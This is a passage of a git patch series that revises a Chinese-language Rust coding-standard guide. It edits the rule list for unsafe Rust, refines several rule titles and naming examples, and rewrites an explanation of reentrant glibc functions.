不要为了提升性能而盲目使用 Unsafe Rust](./unsafe_rust/P.UNS.02.md) -- [G.UNS.01 不要随便为 带有 unsafe命名的 类型或方法创建别名](./unsafe_rust/G.UNS.01.md) -- [安全抽象](./unsafe_rust/safe_abstract.md) - - [P.UNS.SAS.01 代码中要注意是否会因为 Panic 发生而导致内存安全问题](./unsafe_rust/safe_abstract/P.UNS.SAS.01.md) - - [P.UNS.SAS.02 Unsafe 代码编写者有义务检查代码是否满足安全不变式](./unsafe_rust/safe_abstract/P.UNS.SAS.02.md) - - [P.UNS.SAS.03 不要随便在公开的 API 中暴露未初始化内存](./unsafe_rust/safe_abstract/P.UNS.SAS.03.md) - - [P.UNS.SAS.04 要考虑 Panic Safety 的情况](./unsafe_rust/safe_abstract/P.UNS.SAS.04.md) - - [G.UNS.SAS.01 在公开的 unsafe 函数的文档中必须增加 Safety 注释](./unsafe_rust/safe_abstract/G.UNS.SAS.01.md) - - [G.UNS.SAS.02 在 Unafe 函数中应该使用 `assert!` 而非 `debug_assert!` 去校验边界条件](./unsafe_rust/safe_abstract/G.UNS.SAS.02.md) - - [P.UNS.SAS.05 Unsafe 代码中手动实现 `auto trait` 需要注意](./unsafe_rust/safe_abstract/P.UNS.SAS.05.md) - - [P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针](./unsafe_rust/safe_abstract/P.UNS.SAS.06.md) - - [P.UNS.SAS.07 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法](./unsafe_rust/safe_abstract/P.UNS.SAS.07.md) - - [P.UNS.SAS.08 函数参数是不可变借用的时候,返回值不应该是可变借用](./unsafe_rust/safe_abstract/P.UNS.SAS.08.md) - - [P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./unsafe_rust/safe_abstract/P.UNS.SAS.09.md) -- [裸指针操作](./unsafe_rust/raw_ptr.md) - - [P.UNS.PTR.01 不要将裸指针在多线程间共享](./unsafe_rust/raw_ptr/P.UNS.PTR.01.md) - - [P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T`](./unsafe_rust/raw_ptr/P.UNS.PTR.02.md) - - [P.UNS.PTR.03 使用指针类型构造泛型结构体时,需要使用 PhantomData 来指定 T上的协变和所有权](./unsafe_rust/raw_ptr/P.UNS.PTR.03.md) - - [G.UNS.PTR.01 当指针类型被强转为和当前内存对齐不一致的指针类型时,禁止对其解引用](./unsafe_rust/raw_ptr/G.UNS.PTR.01.md) - - [G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针](./unsafe_rust/raw_ptr/G.UNS.PTR.02.md) - - [G.UNS.PTR.03 尽量使用 pointer::cast 来代替 使用 as 强转指针](./unsafe_rust/raw_ptr/G.UNS.PTR.03.md) -- [联合体](./unsafe_rust/union.md) - - [P.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union](./unsafe_rust/union/P.UNS.UNI.01.md) - - [P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./unsafe_rust/union/P.UNS.UNI.02.md) -- [内存](./unsafe_rust/mem.md) - - [P.UNS.MEM.01 要注意选择合适的结构体、元组、枚举的数据布局](./unsafe_rust/mem/P.UNS.MEM.01.md) - - [P.UNS.MEM.02 不能修改其它进程/动态库的内存变量](./unsafe_rust/mem/P.UNS.MEM.02.md) - - [P.UNS.MEM.03 不能让 `String/Vec` 自动 `Drop` 其它进程/动态库的内存数据](./unsafe_rust/mem/P.UNS.MEM.03.md) - - [P.UNS.MEM.04 尽量用可重入(reentrant)版本的 C-API 或系统调用](./unsafe_rust/mem/P.UNS.MEM.04.md) - - [P.UNS.MEM.05 如果需要使用位域,推荐使用第三方库](./unsafe_rust/mem/P.UNS.MEM.05.md) - - [G.UNS.MEM.01 使用 `MaybeUninit` 来处理未初始化的内存](./unsafe_rust/mem/G.UNS.MEM.01.md) -- [FFi](./unsafe_rust/ffi.md) - - [P.UNS.FFI.01 避免从公开的 Rust API 直接传字符串到 C 中](./unsafe_rust/ffi/P.UNS.FFI.01.md) - - [P.UNS.FFI.02 在使用标准库 std::ffi 模块提供的类型时需要仔细查看其文档](./unsafe_rust/ffi/P.UNS.FFI.02.md) - - [P.UNS.FFI.03 当使用来自 C 的指针时,如果该指针需要管理内存,则需要为包装该指针的 Rust 类型实现 Drop 特质](./unsafe_rust/ffi/P.UNS.FFI.03.md) - - [P.UNS.FFI.04 如果一个函数正在跨越 FFi 边界,那么需要处理 Panic](./unsafe_rust/ffi/P.UNS.FFI.04.md) - - [P.UNS.FFI.05 建议使用诸如标准库或 `libc crate` 所提供的可移植类型别名,而不是特定平台的类型](./unsafe_rust/ffi/P.UNS.FFI.05.md) - - [P.UNS.FFI.06 Rust 和 C 之间传递字符或字符串时需要注意字符串要符合 C-ABI 以及 字符串的编码](./unsafe_rust/ffi/P.UNS.FFI.06.md) - - [P.UNS.FFI.07 不要为任何传入到外部的类型实现 Drop](./unsafe_rust/ffi/P.UNS.FFI.07.md) - - [P.UNS.FFI.08 FFi 中要进行合理的错误处理](./unsafe_rust/ffi/P.UNS.FFI.08.md) - - [P.UNS.FFI.09 当 Rust 调用外部 C 函数时,如果可以确认安全,可以通过引用来代替裸指针](./unsafe_rust/ffi/P.UNS.FFI.09.md) - - [P.UNS.FFI.10 当 Rust 函数导出外部函数时,必须从设计上保证被跨线程调用的安全性](./unsafe_rust/ffi/P.UNS.FFI.10.md) - - [P.UNS.FFI.11 如需引用指定为 `#[repr(packed)]` 内存布局的结构体成员字段要注意合理规避未定义行为](./unsafe_rust/ffi/P.UNS.FFI.11.md) - - [P.UNS.FFI.12 当依赖 C 端传入参数时,需要在文档注释中不变性声明,根据不同的调用场景选择合适的安全抽象方式](./unsafe_rust/ffi/P.UNS.FFI.12.md) - - [P.UNS.FFI.13 自定义数据类型要保证一致的数据布局](./unsafe_rust/ffi/P.UNS.FFI.13.md) - - [P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局](./unsafe_rust/ffi/P.UNS.FFI.14.md) - - [P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查](./unsafe_rust/ffi/P.UNS.FFI.15.md) -- [I/O](./unsafe_rust/io.md) - - [P.UNS.FIO.01 在使用原始句柄的时候,要注意 I/O 安全性](./unsafe_rust/io/P.UNS.FIO.01.md) -- [Unsafe 代码术语指南](./unsafe_rust/glossary.md) \ No newline at end of file +[Unsafe 代码术语指南](./unsafe_rust/glossary.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/P.UNS.01.md b/src/safe-guides/coding_practice/unsafe_rust/P.UNS.01.md index 09ff4615..8cf11545 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/P.UNS.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/P.UNS.01.md @@ -1,4 +1,4 @@ -## P.UNS.01 不要为了逃避 编译器安全检查而滥用 Unsafe Rust +## P.UNS.01 不要为了逃避编译器安全检查而滥用 Unsafe Rust **【描述】** diff --git a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md index 0458f31b..cb0dc509 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.02.md @@ -1,4 +1,4 @@ -## P.UNS.MEM.02 不能修改其它进程/动态库的内存变量 +## P.UNS.MEM.02 不能修改其它进程或动态库的内存变量 **【描述】** diff --git a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md index e9c07db8..2f45a51b 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md @@ -1,4 +1,4 @@ -## P.UNS.MEM.03 不能让 String/Vec 自动 Drop 其它进程/动态库的内存数据 +## P.UNS.MEM.03 不能让 `String/Vec` 自动 Drop 其它进程或动态库的内存数据 **【描述】** diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md index 25da1da9..bdcb80c1 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md @@ -1,4 +1,4 @@ -## G.UNS.SAS.02 在 Unafe 函数中应该使用 `assert!` 而非 `debug_assert!` 去校验边界条件 +## G.UNS.SAS.02 在 Unafe 函数中应使用 `assert!` 而非 `debug_assert!` 去校验边界条件 **【级别】** 要求 diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md index 2ac85395..1b588d07 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.04.md @@ -1,4 +1,4 @@ -## P.UNS.SAS.04 要考虑 Panic Safety 的情况 +## P.UNS.SAS.04 避免因为 Panic Safety 而导致双重释放 **【描述】** diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md index 86d2bb33..b661af7e 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md @@ -1,4 +1,4 @@ -## P.UNS.SAS.05 Unsafe 代码中手动实现 auto trait 需要注意 +## P.UNS.SAS.05 手动实现 auto trait 时要充分考虑其安全性 **【描述】** diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md index 266723a4..690e21f3 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.09.md @@ -1,4 +1,4 @@ -## G.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释 +## P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释 **【描述】** diff --git a/src/safe-guides/coding_practice/variables.md b/src/safe-guides/coding_practice/variables.md index 651be521..cd735eba 100644 --- a/src/safe-guides/coding_practice/variables.md +++ b/src/safe-guides/coding_practice/variables.md @@ -2,11 +2,3 @@ 这里所说的变量单指局部变量而不包括全局变量。 默认情况下,Rust 会强制初始化所有变量的值,以防止使用未初始化的内存。 -## 列表 - -- [P.VAR.01 一般情况下避免先声明可变变量再赋值](./variables/P.VAR.01.md) -- [P.VAR.02 利用变量遮蔽功能保证变量安全使用](./variables/P.VAR.02.md) -- [G.VAR.01 以解构元组方式定义超过四个变量时不应使用太多无意义变量名](./variables/G.VAR.01.md) -- [G.VAR.02 不应使用非 ASCII 字符作为标识符](./variables/G.VAR.02.md) -- [G.VAR.03 变量遮蔽功能应当合理使用](./variables/G.VAR.03.md) -- [G.VAR.04 避免因局部变量过大而导致的大量栈分配](./variables/G.VAR.04.md) \ No newline at end of file From b5fafa8821b31177991218a03f4727a760d424f8 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 14 Apr 2022 15:19:26 +0800 Subject: [PATCH 09/10] fixed for P.NAM.01 --- src/overview.md | 2 +- src/safe-guides/code_style/naming/P.NAM.01.md | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/overview.md b/src/overview.md index c37b7076..fa3455ac 100644 --- a/src/overview.md +++ b/src/overview.md @@ -5,7 +5,7 @@ - 《Rust 编码规范》初稿发布 2021-10-31 (V 0.1) - 《Rust 编码规范》经社区和公司内第一次评审版本发布 2022-02 (V 0.2) - 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-03 (V 0.3) -- 《Rust 编码规范》经社区和公司内第二次评审版本发布 2022-04 (V 1.0 beta) +- 《Rust 编码规范》经社区和公司内第三次评审版本发布 2022-04 (V 1.0 beta) ## 详细 diff --git a/src/safe-guides/code_style/naming/P.NAM.01.md b/src/safe-guides/code_style/naming/P.NAM.01.md index 3fdf62b2..1b9ec3e7 100644 --- a/src/safe-guides/code_style/naming/P.NAM.01.md +++ b/src/safe-guides/code_style/naming/P.NAM.01.md @@ -19,11 +19,13 @@ - [`RecvTimeoutError`](https://doc.rust-lang.org/std/sync/mpsc/enum.RecvTimeoutError.html) - [`StripPrefixError`](https://doc.rust-lang.org/std/path/struct.StripPrefixError.html) -如果你想新增和标准库相似的错误类型,比如“解析地址错误”类型,为了保持词性一致,应该使用`ParseAddrError` 名称,而不是`AddrParseError` +如果你想新增和标准库相似的错误类型,比如“解析地址错误”类型,为了保持词性一致,应该使用`ParseAddrError` 名称,而不是`AddrParseError`。 + +> 说明:现在标准库文档中 net模块解析地址错误类型是 `AddrParseError`,其实和标准库中大部分错误类型遵循的 "动-宾-Error" 词序没有保持一致,所以它是一个特例。 **【反例】** ```rust -// 不符合:与标准库错误类型次序不一致,应该为 ParseAddrError +// 不符合:与标准库错误类型词序 "动-宾-Error" 不一致,应该为 ParseAddrError struct AddrParseError {} ``` From d5e7cfd390d87bcd7997f1ba33cf524c3139ea30 Mon Sep 17 00:00:00 2001 From: blackanger Date: Thu, 21 Apr 2022 16:31:34 +0800 Subject: [PATCH 10/10] Improvement desc for P.NAM.05 && P.NAM.07 && P.UNS.MEM.04 --- src/safe-guides/code_style/naming/P.NAM.05.md | 2 +- src/safe-guides/code_style/naming/P.NAM.07.md | 27 +++++++++++++++-- .../unsafe_rust/mem/P.UNS.MEM.04.md | 29 ++++--------------- 3 files changed, 31 insertions(+), 27 deletions(-) diff --git a/src/safe-guides/code_style/naming/P.NAM.05.md b/src/safe-guides/code_style/naming/P.NAM.05.md index 47be69f1..4ecf2957 100644 --- a/src/safe-guides/code_style/naming/P.NAM.05.md +++ b/src/safe-guides/code_style/naming/P.NAM.05.md @@ -60,7 +60,7 @@ impl S { } // set_前缀是可以的 - pub fn set_first(&mut self, f: First) -> &mut First { + pub fn set_first(&mut self, f: First) { self.first = f; } } diff --git a/src/safe-guides/code_style/naming/P.NAM.07.md b/src/safe-guides/code_style/naming/P.NAM.07.md index 1f9352e1..f69f123d 100644 --- a/src/safe-guides/code_style/naming/P.NAM.07.md +++ b/src/safe-guides/code_style/naming/P.NAM.07.md @@ -12,8 +12,7 @@ type Sized = u16; fn main() { // 不符合:try 为保留关键字 - // 如果必须要用,使用`r#`前缀可以使用它,但要尽力避免 - let r#try = 1; + let try = 1; } ``` @@ -27,4 +26,28 @@ fn main() { // 符合 let tried = 1; } +``` + +**【例外】** + +在一些特定场合,比如对接遗留数据库中的字段和Rust关键字冲突: + +```rust + +struct SomeTable{ + // 使用 `r#`+type 来解决这种问题 + r#type: String +} + +``` + +或者当序列化为 json 或 proto 时,存在成员为关键字,则可以通过相关库提供的功能来使用: + +```rust +pub struct UserRepr { + // ... + #[serde(rename="self")] + pub self_: Option, + // ... +} ``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.04.md b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.04.md index 92d7f361..161629e4 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.04.md +++ b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.04.md @@ -2,30 +2,11 @@ **【描述】** -以 Linux 系统为例,在 **glibc**(/usr/lib/libc.so) 等知名 C 语言库中, +以 Linux 系统为例,在 **glibc**(/usr/lib/libc.so) 等知名 C 语言库中,很多 API 会既提供不可重入版本和**可重入(reentrant)**版本,例如 ctime 和 ctime_r 这对系统调用。可重入版本的函数命名一般带 **_r** 的后缀,*_r* 也就是单词可重入 reentrant 的缩写。 -很多 API 会既提供不可重入版本和**可重入(reentrant)**版本,例如 ctime 和 ctime_r 这对系统调用。 +> libc 中不可重入函数的执行过程一般是将函数的输出写到动态库的某个 static 命令内,然后再返回指向该 static 变量的指针返回给调用方,因此是一种「有状态」的函数,多线程环境下可能有**线程安全问题**。 -可重入版本的函数命名一般带 **_r** 的后缀,*_r* 也就是单词可重入 reentrant 的缩写。 - -libc 中不可重入函数的执行过程一般是将函数的输出写到动态库的某个 static 命令内,然后再返回指向该 static 变量的指针返回给调用方,因此是一种「有状态」的函数,多线程环境下可能有**线程安全问题**。 - -例如线程 A 正在将 glibc 动态库的 gmtime 数据逐个复制回来,结果复制到一半线程 B 调用 gmtime 把后半部分的 gmtime 输出数据给更新掉了,导致线程 A 得到的数据有误。 - -而无重入版本例如 libc::localtime_r 会比 libc::localtime 多一个入参叫 result, - -允许调用方进程的内存空间内分配内存,再将调用方进程的可变指针传入到 glibc 中让 glibc 修改可变指针指向的数据。 - -应当通过工具搜索动态库的函数符号查找可重入版本的函数,或者通过 man 文档查询自己所用函数有没有可重入的版本。 - -``` -[w@ww repos]$ nm -D /usr/lib/libc.so.6 | grep "_r@" -00000000000bb030 W asctime_r@@GLIBC_2.2.5 -00000000000bb100 T ctime_r@@GLIBC_2.2.5 -0000000000040a30 T drand48_r@@GLIBC_2.2.5 -``` - -使用不可重入函数的危害例如 P.UNS.MEM.02 和 P.UNS.MEM.03 规范的反例中的 sqlite3_libversion() 会导致开发人员带来很大的心智负担,需要人工 code review 确保没有线程安全和内存安全问题,因此必须尽量使用可重入版本的函数。 +使用不可重入函数的风险会导致开发人员带来很大的心智负担,需要耗费人力进行代码安全评审确保没有线程安全和内存安全问题,因此必须尽量使用可重入版本的函数。 **【反例】** @@ -33,6 +14,6 @@ libc 中不可重入函数的执行过程一般是将函数的输出写到动态 **【正例】** -`chrono` 库中用 `libc::localtime_r` 获取本地时间而不用 `libc::localtime` +`chrono` 库中用 `libc::localtime_r` 获取本地时间而不用 `libc::localtime`。 -`ctime_r`, `gmtime_r`,` localtime_r`, `gethostbyname_r` +还有诸如 `ctime_r`, `gmtime_r`,` localtime_r`, `gethostbyname_r`等。